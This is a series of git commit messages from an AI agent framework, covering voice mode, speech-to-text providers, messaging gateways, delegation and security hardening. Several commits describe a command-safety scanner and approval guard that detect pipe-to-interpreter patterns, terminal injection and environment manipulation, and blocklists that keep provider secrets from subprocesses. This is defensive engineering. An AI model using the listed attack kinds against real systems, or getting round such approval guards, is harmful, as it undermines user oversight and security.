Salvaged from PR #979 onto current main.
Preserve the current terminal backend checks while surfacing actionable
preflight errors for unknown TERMINAL_ENV values, missing SSH host/user
configuration, and missing Modal credentials/config. Tighten the modal
regression test so it deterministically exercises the config-missing
path.
Salvaged from PR #977 onto current main.
Preserves the MCP stdio command resolution and improved error diagnostics,
with deterministic regression tests for the npx/node PATH cases.
Co-authored-by: kshitij <82637225+kshitijk4poor@users.noreply.github.com>
1. Anthropic + ElevenLabs TTS silence: forward full response to TTS
callback for non-streaming providers (choices first, then native
content blocks fallback).
2. Subprocess timeout kill: play_audio_file now kills the process on
TimeoutExpired instead of leaving zombie processes.
3. Discord disconnect cleanup: leave all voice channels before closing
the client to prevent leaked state.
4. Audio stream leak: close InputStream if stream.start() fails.
5. Race condition: read/write _on_silence_stop under lock in audio
callback thread.
6. _vprint force=True: show API error, retry, and truncation messages
even during streaming TTS.
7. _refresh_level lock: read _voice_recording under _voice_lock.
Remove web UI gateway (web.py, tests, docs, toolset, env vars, Platform.WEB
enum) per maintainer request — Nous is building their own official chat UI.
Fix 1: Replace sd.wait() with polling pattern in play_audio_file() to prevent
indefinite hang when audio device stalls (consistent with play_beep()).
Fix 2: Use importlib.util.find_spec() for faster_whisper/openai availability
checks instead of module-level imports that trigger heavy native library
loading (CUDA/cuDNN) at import time.
Fix 3: Remove inspect.signature() hack in _send_voice_reply() — add **kwargs
to Telegram send_voice() so all adapters accept metadata uniformly.
Fix 4: Make session loading resilient to removed platform enum values — skip
entries with unknown platforms instead of crashing the entire gateway.
- web.py: pass stt_model from config like discord.py and run.py do
- run.py: match new error messages (No STT provider / not set)
- _transcribe_local: add missing "provider": "local" to return dict
Move stream close outside the lock in shutdown() to prevent deadlock
when audio callback tries to acquire the same lock. Replace single
t.join(timeout) with a polling loop (0.1s intervals) so KeyboardInterrupt
is not blocked during stream cleanup.
Voice status was hardcoded to check API keys only. Now uses the actual
provider resolution (local/groq/openai) so it correctly shows
"local faster-whisper" when installed instead of "Groq" or "MISSING".
Merge main's faster-whisper (local, free) with our Groq support into a
unified three-provider STT pipeline: local > groq > openai.
Provider priority ensures free options are tried first. Each provider
has its own transcriber function with model auto-correction, env-
overridable endpoints, and proper error handling.
74 tests cover the full provider matrix, fallback chains, model
correction, config loading, validation edge cases, and dispatch.
Duplicated YAML config parsing for stt.model existed in gateway/run.py
and gateway/platforms/discord.py. Moved to a single helper in
transcription_tools.py and added 5 tests covering all edge cases.
Code fixes:
- STT model, Groq base URL, and OpenAI STT base URL are now
configurable via env vars (STT_GROQ_MODEL, STT_OPENAI_MODEL,
GROQ_BASE_URL, STT_OPENAI_BASE_URL) instead of hardcoded
- Gateway and Discord VC now read stt.model from config.yaml
(previously only CLI did this — gateway always used defaults)
Doc fixes:
- voice-mode.md: move Web UI troubleshooting to web.md (was duplicated)
- voice-mode.md: simplify "How It Works" for end users (remove NaCl,
DAVE, RTP internals)
- voice-mode.md: clarify STT priority (OpenAI used first if both keys
set, Groq recommended for free tier)
- voice-mode.md: document new STT env overrides in config reference
- web.md: remove duplicate Quick Start / Step 1-3 sections
- web.md: add mobile HTTPS mic workarounds (moved from voice-mode.md)
- web.md: clarify STT fallback order
The counter was incremented in start/stop/cancel but never read
anywhere in the codebase. The race condition it was meant to guard
against is practically impossible with the persistent stream design.
- Keep InputStream alive across recordings to avoid CoreAudio hang on
repeated open/close cycles on macOS. New _ensure_stream() creates the
stream once; start()/stop()/cancel() only toggle frame collection.
- Add _close_stream_with_timeout() with daemon thread to prevent
stream.stop()/close() from blocking indefinitely.
- Add generation counter to detect stale stream-open completions after
cancel or restart.
- Run recorder.cancel() in background thread from Ctrl+C handler to
keep the event loop responsive.
- Add shutdown() method called on /voice off to release audio resources.
- Fix silence timer reset during active speech: use dip tolerance for
_resume_start tracker so natural speech pauses (< 0.3s) don't prevent
the silence timer from being reset.
- Update tests to match persistent stream behavior.
AudioRecorder now auto-stops after 15 seconds if no speech is detected
(_has_spoken remains False). In quiet environments where ambient RMS
never exceeds the silence threshold (200), the recording would wait
indefinitely. The new _max_wait parameter fires the silence callback
after the timeout, triggering the normal "No speech detected" flow.
- Set max_retries=0 on the STT OpenAI client. The SDK default (2) honors
Groq's retry-after header (often 53s), blocking the thread for up to
~106s on rate limits. Voice STT should fail fast, not retry silently.
- Stop continuous recording mode after 3 consecutive no-speech cycles to
prevent infinite restart loops when nobody is talking.
- Set OpenAI client timeout=30s in transcribe_audio() — default 600s
blocks _voice_processing for 10 min if Groq/OpenAI stalls
- Move _voice_start_recording in _voice_stop_and_transcribe finally
block to a daemon thread (same pattern as Ctrl+B handler and
process_loop)
- Add _should_exit guard at top of _voice_start_recording so all 4
call sites respect shutdown without individual checks
- Replace sd.wait() with a poll loop + sd.stop() in play_beep().
sd.wait() calls Event.wait() without timeout — hangs forever if the
audio device stalls. Poll with a 2s ceiling and force-stop instead.
- Wrap _on_silence callback in try-except so exceptions are logged
instead of silently lost in the daemon thread. Prevents recording
state from becoming inconsistent on unexpected errors.
browser_tool.py registered SIGINT/SIGTERM handlers that called sys.exit()
at module import time. When a signal arrived during a lock acquisition
(e.g. AudioRecorder._lock in voice mode), SystemExit was raised inside
prompt_toolkit's async event loop, corrupting coroutine state and making
the process unkillable (required SIGKILL).
atexit handler already ensures browser sessions are cleaned up on any
normal exit path, so the signal handlers were redundant and harmful.
- edge_tts NameError: _generate_edge_tts now calls _import_edge_tts()
instead of referencing bare module name (tts_tool.py)
- TTS thread leak: chat() finally block sends sentinel to text_queue,
sets stop_event, and joins tts_thread on exception paths (cli.py)
- output_stream leak: moved close() into finally block so audio device
is released even on exception (tts_tool.py)
- Ctrl+C continuous mode: cancel handler now resets _voice_continuous
to prevent auto-restart after user cancels recording (cli.py)
- _disable_voice_mode: now calls stop_playback() and sets
_voice_tts_done so TTS stops when voice mode is turned off (cli.py)
- _show_voice_status: reads record key from config instead of
hardcoding Ctrl+B (cli.py)
- AudioRecorder.start() now catches InputStream errors gracefully
with a clear error message about microphone availability
- Fix config key mismatch: cli.py was reading "push_to_talk_key"
but config.py defines "record_key" -- now consistent
- Add format conversion from config format ("ctrl+b") to
prompt_toolkit format ("c-b")
1. Fully lazy imports: sounddevice, numpy, elevenlabs, edge_tts, and
openai are never imported at module level. Each is imported only when
the feature is explicitly activated, preventing crashes in headless
environments (SSH, Docker, WSL, no PortAudio).
2. No core agent loop changes: streaming TTS path extracted from
_interruptible_api_call() into separate _streaming_api_call() method.
The original method is restored to its upstream form.
3. Configurable key binding: push-to-talk key changed from Ctrl+R
(conflicts with readline reverse-search) to Ctrl+B by default.
Configurable via voice.push_to_talk_key in config.yaml.
4. Environment detection: new detect_audio_environment() function checks
for SSH, Docker, WSL, and missing audio devices before enabling voice
mode. Auto-disables with clear warnings in incompatible environments.
5. Graceful degradation: every audio touchpoint (sd.play, sd.InputStream,
sd.OutputStream) wrapped in try/except with ImportError/OSError
handling. Failures produce warnings, not crashes.
- Fix Gemini streaming tool call merge bug: multiple tool calls with same
index but different IDs are now parsed as separate calls instead of
concatenating names (e.g. ha_call_serviceha_call_service)
- Handle partial results in voice mode: show error and stop continuous
mode when agent returns partial/failed results with empty response
- Fix error display during streaming TTS: error messages are shown in
full response box even when streaming box was already opened
- Add duplicate sentence filter in TTS: skip near-duplicate sentences
from LLM repetition
- Fix fake HA server state mutation: turn_on/turn_off/set_temperature
correctly update entity states; temperature sensor simulates change
when thermostat is adjusted
- Add _vprint() helper to suppress log output when stream_callback is active
- Expand Whisper hallucination filter with multi-language phrases and regex pattern for repetitive text
- Stop continuous voice mode when agent returns a failed result (e.g. 429 rate limit)
- Atomic check-and-set for _voice_recording flag with _voice_lock
- Guard _voice_stop_and_transcribe against concurrent invocation
- Remove premature flag clearing from Ctrl+R handler
- Clean up temp WAV files in finally block (_play_via_tempfile)
- Use buffer-level regex for <think> block filtering (handles chunked tags)
- Prevent /voice on prompt accumulation on repeated calls
- Include Groq in STT key error message
Move screen output from stream_callback to display_callback called by
TTS consumer thread. Text now appears sentence-by-sentence in sync with
audio instead of streaming ahead at LLM speed. Removes quiet_mode hack.
sounddevice raises OSError (not ImportError) when the PortAudio C
library is missing. This broke test collection on CI runners that
have the Python package installed but lack the native library.
Stream audio to speaker as the agent generates tokens instead of
waiting for the full response. First sentence plays within ~1-2s
of agent starting to respond.
- run_agent: add stream_callback to run_conversation/chat, streaming
path in _interruptible_api_call accumulates chunks into mock
ChatCompletion while forwarding content deltas to callback
- tts_tool: add stream_tts_to_speaker() with sentence buffering,
think block filtering, markdown stripping, ElevenLabs pcm_24000
streaming to sounddevice OutputStream
- cli: wire up streaming TTS pipeline in chat(), detect elevenlabs
provider + sounddevice availability, skip batch TTS when streaming
is active, signal stop on interrupt
Falls back to batch TTS for Edge/OpenAI providers or when
elevenlabs/sounddevice are not available. Zero impact on non-voice
mode (callback defaults to None).
- Audio cues: beep on record start (880Hz), double beep on stop (660Hz)
- Silence detection: auto-stop recording after 3s of silence (RMS-based)
- Continuous mode: auto-restart recording after agent responds
- Ctrl+R starts continuous mode, Ctrl+R during recording exits it
- Waits for TTS to finish before restarting to avoid recording speaker
- Tests: 7 new tests for beep generation and silence detection
- Add multi-provider STT support (OpenAI > Groq fallback) in transcription_tools
- Auto-correct model selection when provider doesn't support the configured model
- Change voice record key from Ctrl+Space to Ctrl+R (macOS compatibility)
- Fix duplicate transcript echo in voice pipeline
- Add GROQ_API_KEY to .env.example
- prevent raw MEDIA tag leakage outside the gateway pipeline
- make extract_media handle quoted/backticked paths and optional whitespace
- send Telegram media natively with explicit error/warning handling
- add regression tests for Telegram media dispatch and MEDIA parsing
The send_message tool's _send_telegram() sent MEDIA:<path> tags as
literal text instead of delivering actual files. This fixes it by
extracting MEDIA tags via BasePlatformAdapter.extract_media() and
routing files to the appropriate Telegram Bot API method by extension.
Changes:
- send_message_tool: extract MEDIA tags and send files natively as
photo/video/voice/audio/document based on file extension
- send_message_tool: add per-file error handling and missing-file logging
- send_message_tool: use cleaned text in fallback to avoid leaking tags
- base.py extract_media: handle optional space after MEDIA: colon
- base.py extract_media: strip surrounding backticks/quotes from paths
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* feat: improve context compaction handoff summaries
Adapt PR #916 onto current main by replacing the old context summary marker
with a clearer handoff wrapper, updating the summarization prompt for
resume-oriented summaries, and preserving the current call_llm-based
compression path.
* fix: clearer error when docker backend is unavailable
* fix: preserve docker discovery in backend preflight
Follow up on salvaged PR #940 by reusing find_docker() during the new
availability check so non-PATH Docker Desktop installs still work. Add
a regression test covering the resolved executable path.
---------
Co-authored-by: aydnOktay <xaydinoktay@gmail.com>
Restore gateway/run.py to current main behavior while keeping tirith startup
and pattern_keys replay, preserve yolo and non-interactive bypass semantics in
the combined guard, and add regression tests for yolo and view-full flows.
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
Salvage of PR #1246 by ChatGPT (teknium1 session), resolved against
current main which already includes #1239.
Changes:
- Add minisweagent_path.py: worktree-aware helper that finds
mini-swe-agent/src from either the current checkout or the main
checkout behind a git worktree
- Use the helper in tools/terminal_tool.py and mini_swe_runner.py
instead of naive path-relative lookup that fails in worktrees
- Clean up check_terminal_requirements():
- local: return True (no minisweagent dep, per #1239)
- singularity/ssh: remove unnecessary minisweagent imports
- docker/modal: use importlib.util.find_spec with clear error
- Add regression tests for worktree path discovery and tool resolution
- treat git diff --cached --quiet rc=1 as an expected checkpoint state
instead of logging it as an error
- downgrade expected write PermissionError/EROFS/EACCES failures out of
error logging while keeping unexpected exceptions at error level
- add regression tests for both logging behaviors
* fix: Home Assistant event filtering now closed by default
Previously, when no watch_domains or watch_entities were configured,
ALL state_changed events passed through to the agent, causing users
to be flooded with notifications for every HA entity change.
Now events are dropped by default unless the user explicitly configures:
- watch_domains: list of domains to monitor (e.g. climate, light)
- watch_entities: list of specific entity IDs to monitor
- watch_all: true (new option — opt-in to receive all events)
A warning is logged at connect time if no filters are configured,
guiding users to set up their HA platform config.
All 49 gateway HA tests + 52 HA tool tests pass.
* docs: update Home Assistant integration documentation
- homeassistant.md: Fix event filtering docs to reflect closed-by-default
behavior. Add watch_all option. Replace Python dict config example with
YAML. Fix defaults table (was incorrectly showing 'all'). Add required
configuration warning admonition.
- environment-variables.md: Add HASS_TOKEN and HASS_URL to Messaging section.
- messaging/index.md: Add Home Assistant to description, architecture
diagram, platform toolsets table, and Next Steps links.
* fix(terminal): strip provider env vars from background and PTY subprocesses
Extends the env var blocklist from #1157 to also cover the two remaining
leaky paths in process_registry.py:
- spawn_local() PTY path (line 156)
- spawn_local() background Popen path (line 197)
Both were still using raw os.environ, leaking provider vars to background
processes and interactive PTY sessions. Now uses the same dynamic
_HERMES_PROVIDER_ENV_BLOCKLIST from local.py.
Explicit env_vars passed to spawn_local() still override the blocklist,
matching the existing behavior for callers that intentionally need these.
Gap identified by PR #1004 (@PeterFile).
* feat(delegate): add observability metadata to subagent results
Enrich delegate_task results with metadata from the child AIAgent:
- model: which model the child used
- exit_reason: completed | interrupted | max_iterations
- tokens.input / tokens.output: token counts
- tool_trace: per-tool-call trace with byte sizes and ok/error status
Tool trace uses tool_call_id matching to correctly pair parallel tool
calls with their results, with a fallback for messages without IDs.
Cherry-picked from PR #872 by @omerkaz, with fixes:
- Fixed parallel tool call trace pairing (was always updating last entry)
- Removed redundant 'iterations' field (identical to existing 'api_calls')
- Added test for parallel tool call trace correctness
Co-authored-by: omerkaz <omerkaz@users.noreply.github.com>
* feat(stt): add free local whisper transcription via faster-whisper
Replace OpenAI-only STT with a dual-provider system mirroring the TTS
architecture (Edge TTS free / ElevenLabs paid):
STT: faster-whisper local (free, default) / OpenAI Whisper API (paid)
Changes:
- tools/transcription_tools.py: Full rewrite with provider dispatch,
config loading, local faster-whisper backend, and OpenAI API backend.
Auto-downloads model (~150MB for 'base') on first voice message.
Singleton model instance reused across calls.
- pyproject.toml: Add faster-whisper>=1.0.0 as core dependency
- hermes_cli/config.py: Expand stt config to match TTS pattern with
provider selection and per-provider model settings
- agent/context_compressor.py: Fix .strip() crash when LLM returns
non-string content (dict from llama.cpp, None). Fixes#1100 partially.
- tests/: 23 new tests for STT providers + 2 for compressor fix
- docs/: Updated Voice & TTS page with STT provider table, model sizes,
config examples, and fallback behavior
Fallback behavior:
- Local not installed → OpenAI API (if key set)
- OpenAI key not set → local whisper (if installed)
- Neither → graceful error message to user
Co-authored-by: Jah-yee <Jah-yee@users.noreply.github.com>
---------
Co-authored-by: omerkaz <omerkaz@users.noreply.github.com>
Co-authored-by: Jah-yee <Jah-yee@users.noreply.github.com>
* fix: Home Assistant event filtering now closed by default
Previously, when no watch_domains or watch_entities were configured,
ALL state_changed events passed through to the agent, causing users
to be flooded with notifications for every HA entity change.
Now events are dropped by default unless the user explicitly configures:
- watch_domains: list of domains to monitor (e.g. climate, light)
- watch_entities: list of specific entity IDs to monitor
- watch_all: true (new option — opt-in to receive all events)
A warning is logged at connect time if no filters are configured,
guiding users to set up their HA platform config.
All 49 gateway HA tests + 52 HA tool tests pass.
* docs: update Home Assistant integration documentation
- homeassistant.md: Fix event filtering docs to reflect closed-by-default
behavior. Add watch_all option. Replace Python dict config example with
YAML. Fix defaults table (was incorrectly showing 'all'). Add required
configuration warning admonition.
- environment-variables.md: Add HASS_TOKEN and HASS_URL to Messaging section.
- messaging/index.md: Add Home Assistant to description, architecture
diagram, platform toolsets table, and Next Steps links.
* fix(terminal): strip provider env vars from background and PTY subprocesses
Extends the env var blocklist from #1157 to also cover the two remaining
leaky paths in process_registry.py:
- spawn_local() PTY path (line 156)
- spawn_local() background Popen path (line 197)
Both were still using raw os.environ, leaking provider vars to background
processes and interactive PTY sessions. Now uses the same dynamic
_HERMES_PROVIDER_ENV_BLOCKLIST from local.py.
Explicit env_vars passed to spawn_local() still override the blocklist,
matching the existing behavior for callers that intentionally need these.
Gap identified by PR #1004 (@PeterFile).
* feat(delegate): add observability metadata to subagent results
Enrich delegate_task results with metadata from the child AIAgent:
- model: which model the child used
- exit_reason: completed | interrupted | max_iterations
- tokens.input / tokens.output: token counts
- tool_trace: per-tool-call trace with byte sizes and ok/error status
Tool trace uses tool_call_id matching to correctly pair parallel tool
calls with their results, with a fallback for messages without IDs.
Cherry-picked from PR #872 by @omerkaz, with fixes:
- Fixed parallel tool call trace pairing (was always updating last entry)
- Removed redundant 'iterations' field (identical to existing 'api_calls')
- Added test for parallel tool call trace correctness
Co-authored-by: omerkaz <omerkaz@users.noreply.github.com>
---------
Co-authored-by: omerkaz <omerkaz@users.noreply.github.com>
* fix: Home Assistant event filtering now closed by default
Previously, when no watch_domains or watch_entities were configured,
ALL state_changed events passed through to the agent, causing users
to be flooded with notifications for every HA entity change.
Now events are dropped by default unless the user explicitly configures:
- watch_domains: list of domains to monitor (e.g. climate, light)
- watch_entities: list of specific entity IDs to monitor
- watch_all: true (new option — opt-in to receive all events)
A warning is logged at connect time if no filters are configured,
guiding users to set up their HA platform config.
All 49 gateway HA tests + 52 HA tool tests pass.
* docs: update Home Assistant integration documentation
- homeassistant.md: Fix event filtering docs to reflect closed-by-default
behavior. Add watch_all option. Replace Python dict config example with
YAML. Fix defaults table (was incorrectly showing 'all'). Add required
configuration warning admonition.
- environment-variables.md: Add HASS_TOKEN and HASS_URL to Messaging section.
- messaging/index.md: Add Home Assistant to description, architecture
diagram, platform toolsets table, and Next Steps links.
* fix(terminal): strip provider env vars from background and PTY subprocesses
Extends the env var blocklist from #1157 to also cover the two remaining
leaky paths in process_registry.py:
- spawn_local() PTY path (line 156)
- spawn_local() background Popen path (line 197)
Both were still using raw os.environ, leaking provider vars to background
processes and interactive PTY sessions. Now uses the same dynamic
_HERMES_PROVIDER_ENV_BLOCKLIST from local.py.
Explicit env_vars passed to spawn_local() still override the blocklist,
matching the existing behavior for callers that intentionally need these.
Gap identified by PR #1004 (@PeterFile).
Terminal subprocesses inherit OPENAI_BASE_URL and other provider env
vars loaded from ~/.hermes/.env, silently misrouting external CLIs
like codex. Build a blocklist dynamically from the provider registry
so new providers are automatically covered. Callers that truly need
a blocked var can opt in via the _HERMES_FORCE_ prefix.
Closes#1002
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
The old message referenced 'hermes setup' which doesn't handle
skill-specific env vars. Updated to direct users to load the skill
in the local CLI (which triggers the secure prompt) or add the key
to ~/.hermes/.env manually.
When a skill declares required_environment_variables in its YAML
frontmatter, missing env vars trigger a secure TUI prompt (identical
to the sudo password widget) when the skill is loaded. Secrets flow
directly to ~/.hermes/.env, never entering LLM context.
Key changes:
- New required_environment_variables frontmatter field for skills
- Secure TUI widget (masked input, 120s timeout)
- Gateway safety: messaging platforms show local setup guidance
- Legacy prerequisites.env_vars normalized into new format
- Remote backend handling: conservative setup_needed=True
- Env var name validation, file permissions hardened to 0o600
- Redact patterns extended for secret-related JSON fields
- 12 existing skills updated with prerequisites declarations
- ~48 new tests covering skip, timeout, gateway, remote backends
- Dynamic panel widget sizing (fixes hardcoded width from original PR)
Cherry-picked from PR #723 by kshitijk4poor, rebased onto current main
with conflict resolution.
Fixes#688
Co-authored-by: kshitijk4poor <kshitijk4poor@users.noreply.github.com>
The tinker-atropos submodule and its heavy dependencies (atroposlib, tinker,
wandb, fastapi, uvicorn) were being installed for all users by default,
adding significant install time and disk usage for most users who don't
need RL training capabilities.
Changes:
- install.sh: Only init mini-swe-agent submodule by default; skip
tinker-atropos clone and install entirely
- install.sh: Remove --recurse-submodules from git clone (only fetches
what's needed)
- pyproject.toml: Add [rl] optional dependency group for explicit opt-in
- rl_training_tool.py: Move LOGS_DIR.mkdir() from module-level to lazy
init (_ensure_logs_dir) to avoid side effects on import
- README.md: Update contributor quick start to not auto-fetch
tinker-atropos; add RL opt-in instructions
Users who want RL training can opt in with:
git submodule update --init tinker-atropos
uv pip install -e ./tinker-atropos
The ClawHub API v1 version endpoint only returns file metadata
(path, size, sha256, contentType) without inline content or download
URLs. Our code was looking for inline content in the metadata, which
never existed, causing all ClawHub installs to fail with:
'no inline/raw file content was available'
Fix: Use the /api/v1/download endpoint (same as the official clawhub
CLI) to download skills as ZIP bundles and extract files in-memory.
Changes:
- Add _download_zip() method that downloads and extracts ZIP bundles
- Retry on 429 rate limiting with Retry-After header support
- Path sanitization and binary file filtering for security
- Keep _extract_files() as a fallback for inline/raw content
- Also fix nested file lookup (version_data.version.files)
When a dangerous command is detected and the user is prompted for
approval, long commands are truncated (80 chars in fallback, 70 chars
in the TUI). Users had no way to see the full command before deciding.
This adds a 'View full command' option across all approval interfaces:
- CLI fallback (tools/approval.py): [v]iew option in the prompt menu.
Shows the full command and re-prompts for approval decision.
- CLI TUI (cli.py): 'Show full command' choice in the arrow-key
selection panel. Expands the command display in-place and removes
the view option after use.
- CLI callbacks (callbacks.py): 'view' choice added to the list when
the command exceeds 70 characters.
- Gateway (gateway/run.py): 'full', 'show', 'view' responses reveal
the complete command while keeping the approval pending.
Includes 7 new tests covering view-then-approve, view-then-deny,
short command fallthrough, and double-view behavior.
Closes community feedback about the 80-char cap on dangerous commands.
- gateway/run.py: Take main's _resolve_gateway_model() helper
- hermes_cli/setup.py: Re-apply nous-api removal after merge brought
it back. Fix provider_idx offset (Custom is now index 3, not 4).
- tests/hermes_cli/test_setup.py: Fix custom setup test index (3→4)
Add centralized call_llm() and async_call_llm() functions that own the
full LLM request lifecycle:
1. Resolve provider + model from task config or explicit args
2. Get or create a cached client for that provider
3. Format request args (max_tokens handling, provider extra_body)
4. Make the API call with max_tokens/max_completion_tokens retry
5. Return the response
Config: expanded auxiliary section with provider:model slots for all
tasks (compression, vision, web_extract, session_search, skills_hub,
mcp, flush_memories). Config version bumped to 7.
Migrated all auxiliary consumers:
- context_compressor.py: uses call_llm(task='compression')
- vision_tools.py: uses async_call_llm(task='vision')
- web_tools.py: uses async_call_llm(task='web_extract')
- session_search_tool.py: uses async_call_llm(task='session_search')
- browser_tool.py: uses call_llm(task='vision'/'web_extract')
- mcp_tool.py: uses call_llm(task='mcp')
- skills_guard.py: uses call_llm(provider='openrouter')
- run_agent.py flush_memories: uses call_llm(task='flush_memories')
Tests updated for context_compressor and MCP tool. Some test mocks
still need updating (15 remaining failures from mock pattern changes,
2 pre-existing).
Route all remaining ad-hoc auxiliary LLM call sites through
resolve_provider_client() so auth, headers, and API format (Chat
Completions vs Responses API) are handled consistently in one place.
Files changed:
- tools/openrouter_client.py: Replace manual AsyncOpenAI construction
with resolve_provider_client('openrouter', async_mode=True). The
shared client module now delegates entirely to the router.
- tools/skills_guard.py: Replace inline OpenAI client construction
(hardcoded OpenRouter base_url, manual api_key lookup, manual
headers) with resolve_provider_client('openrouter'). Remove unused
OPENROUTER_BASE_URL import.
- trajectory_compressor.py: Add _detect_provider() to map config
base_url to a provider name, then route through
resolve_provider_client. Falls back to raw construction for
unrecognized custom endpoints.
- mini_swe_runner.py: Route default case (no explicit api_key/base_url)
through resolve_provider_client('openrouter') with auto-detection
fallback. Preserves direct construction when explicit creds are
passed via CLI args.
- agent/auxiliary_client.py: Fix stale module docstring — vision auto
mode now correctly documents that Codex and custom endpoints are
tried (not skipped).
Three interconnected fixes for auxiliary client infrastructure:
1. CENTRALIZED PROVIDER ROUTER (auxiliary_client.py)
Add resolve_provider_client(provider, model, async_mode) — a single
entry point for creating properly configured clients. Given a provider
name and optional model, it handles auth lookup (env vars, OAuth
tokens, auth.json), base URL resolution, provider-specific headers,
and API format differences (Chat Completions vs Responses API for
Codex). All auxiliary consumers should route through this instead of
ad-hoc env var lookups.
Refactored get_text_auxiliary_client, get_async_text_auxiliary_client,
and get_vision_auxiliary_client to use the router internally.
2. FIX CODEX VISION BYPASS (vision_tools.py)
vision_tools.py was constructing a raw AsyncOpenAI client from the
sync vision client's api_key/base_url, completely bypassing the Codex
Responses API adapter. When the vision provider resolved to Codex,
the raw client would hit chatgpt.com/backend-api/codex with
chat.completions.create() which only supports the Responses API.
Fix: Added get_async_vision_auxiliary_client() which properly wraps
Codex into AsyncCodexAuxiliaryClient. vision_tools.py now uses this
instead of manual client construction.
3. FIX COMPRESSION FALLBACK + VISION ERROR HANDLING
- context_compressor.py: Removed _get_fallback_client() which blindly
looked for OPENAI_API_KEY + OPENAI_BASE_URL (fails for Codex OAuth,
API-key providers, users without OPENAI_BASE_URL set). Replaced
with fallback loop through resolve_provider_client() for each
known provider, with same-provider dedup.
- vision_tools.py: Added error detection for vision capability
failures. Returns clear message to the model when the configured
model doesn't support vision, instead of a generic error.
Addresses #886
Adds full stack traces to error logs in _upscale_image() and
image_generate_tool() for better debugging. Matches the pattern
used across the rest of the codebase.
Cherry-picked from PR #868 by aydnOktay.
Co-authored-by: aydnOktay <aydnOktay@users.noreply.github.com>
- Log command, return code, and stderr on non-zero exit
- Add exc_info=True to timeout, FileNotFoundError, and catch-all handlers
- Add debug field to restore() error responses with raw git output
- Keeps user-facing error messages clean while preserving detail for debugging
Inspired by PR #843 (aydnOktay).
Previously the early return for unconfigured vision model was silent.
Now logs an error so the failure is visible in logs for debugging.
Inspired by PR #839 by aydnOktay.
Co-authored-by: aydnOktay <aydnOktay@users.noreply.github.com>
Address merge-blocking review feedback by removing unsafe signal handler overrides, wiring next-turn Honcho prefetch, restoring per-directory session defaults, and exposing all Honcho tools to the model surface. Also harden prefetch cache access with public thread-safe accessors and remove duplicate browser cleanup code.
Made-with: Cursor
_discover_one() caught all exceptions and returned [], making
asyncio.gather(return_exceptions=True) redundant. The
isinstance(result, Exception) branch in _discover_all() was dead
code, so failed_count was always 0. This caused:
- No summary printed when all servers fail (silent failure)
- ok_servers always equaling total_servers (misleading count)
- Unused variables transport_desc and transport_type
Fix: let exceptions propagate to gather() so failed_count increments
correctly. Move per-server failure logging to _discover_all(). Remove
dead variables.
Fixes discovered while running TBLite baseline evaluation:
1. ephemeral_disk param not supported in modal 1.3.5 - check before passing
2. Modal legacy image builder requires working pip - add ensurepip fix via
setup_dockerfile_commands to handle task images with broken pip
3. Host cwd leaked into Modal sandbox - add /home/ to host prefix check
4. Tilde ~ not expanded by subprocess.run(cwd=) in sandboxes - use /root
5. install_pipx must stay True for swerex-remote to be available
Dependencies also needed (not in this commit):
- git submodule update --init mini-swe-agent
- uv pip install swe-rex boto3
Allow users to interact with Hermes by sending and receiving emails.
Uses IMAP polling for incoming messages and SMTP for replies with
proper threading (In-Reply-To, References headers).
Integrates with all 14 gateway extension points: config, adapter
factory, authorization, send_message tool, cron delivery, toolsets,
prompt hints, channel directory, setup wizard, status display, and
env example.
65 tests covering config, parsing, dispatch, threading, IMAP fetch,
SMTP send, attachments, and all integration points.
Adds delegation.model and delegation.provider config fields so subagents
can run on a completely different provider:model pair than the parent agent.
When delegation.provider is set, the system resolves the full credential
bundle (base_url, api_key, api_mode) via resolve_runtime_provider() —
the same path used by CLI/gateway startup. This means all configured
providers work out of the box: openrouter, nous, zai, kimi-coding,
minimax, minimax-cn.
Key design decisions:
- Provider resolution uses hermes_cli.runtime_provider (single source of
truth for credential resolution across CLI, gateway, cron, and now
delegation)
- When only delegation.model is set (no provider), the model name changes
but parent credentials are inherited (for switching models within the
same provider like OpenRouter)
- When delegation.provider is set, full credentials are resolved
independently — enabling cross-provider delegation (e.g. parent on
Nous Portal, subagents on OpenRouter)
- Clear error messages if provider resolution fails (missing API key,
unknown provider name)
- _load_config() now falls back to hermes_cli.config.load_config() for
gateway/cron contexts where CLI_CONFIG is unavailable
Based on PR #791 by 0xbyt4 (closes#609), reworked to use proper
provider credential resolution instead of passing provider as metadata.
Co-authored-by: 0xbyt4 <0xbyt4@users.noreply.github.com>
Adds defensive guard against empty/None/missing choices in SamplingHandler.__call__
before accessing response.choices[0]. Returns proper ErrorData instead of crashing
with IndexError/TypeError on content filtering, provider errors, or rate limits.
Authored by 0xbyt4.
Co-authored-by: 0xbyt4 <0xbyt4@users.noreply.github.com>
Stray print() in write_file_tool exception handler leaked debug output
to stdout. Replaced with logger.error() which is already set up in
the file.
Authored by memosr.
Co-authored-by: memosr <memosr@users.noreply.github.com>
- Add `agent`, `tools.*`, `gateway.*` to packages.find include
- Add `hermes_state`, `hermes_time`, `mini_swe_runner`, `rl_cli`, `utils` to py-modules
- Move rl_training_tool LOGS_DIR to ~/.hermes/logs/rl_training/ (was writing
into the package source tree, which fails on read-only installs)
These were masked in development (editable installs see the whole source tree)
but broke any non-editable install like `pip install .` or wheel builds.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Isolate Telegram forum topic sessions — each topic gets its own independent session key, history, and interrupt tracking. Progress, hygiene, and cron messages all route to the correct topic.
Four cleanups to code merged today:
